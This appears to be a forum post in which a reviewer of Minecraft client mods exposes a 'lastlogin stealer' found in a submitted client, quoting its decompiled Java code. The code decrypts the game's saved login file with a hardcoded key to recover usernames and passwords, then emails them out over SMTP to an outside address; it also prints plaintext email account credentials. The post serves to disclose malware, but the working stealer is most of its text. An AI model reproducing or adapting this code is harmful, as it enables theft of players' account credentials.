Code:
public static String MCStealer()
throws Exception
{
String output = null;
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);
PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);
if (getWorkingDirectory().exists())
{
File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
}
return output;
}
Approving yet another client with a lastlogin stealer in it.
2 lastlogin stealers found on 2 days, I'm on a roll.
Edit: Found his send function:
Code:
public static void Send()
{
filepath.mkdirs();
System.out.println("Working");
String from = "ElementalObsidian2@live.com";
String pass = "Asdfjkl1234";
String to = "watt5089@gmail.com";
String host = "smtp.live.com";
Properties properties = System.getProperties();
properties.put("mail.smtp.starttls.enable", "true");
properties.put("mail.smtp.host", host);
properties.put("mail.smtp.user", from);
properties.put("mail.smtp.password", pass);
properties.put("mail.smtp.port", "587");
properties.put("mail.smtp.auth", "true");
Session session = Session.getDefaultInstance(properties);
try
{
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));
message.addRecipient(Message.RecipientType.TO, new InternetAddress(to));
message.setSubject("Account:");
try
{
message.setText(MCStealer());
}
catch (Exception e)
{
System.out.println("Not Working");
e.printStackTrace();
}
Transport transport = session.getTransport("smtp");
transpor*****nnect(host, from, pass);
transpo******ndMessage(message, message.getAllRecipients());
transport.close();
} catch (MessagingException mex) {
mex.printStackTrace();
}
}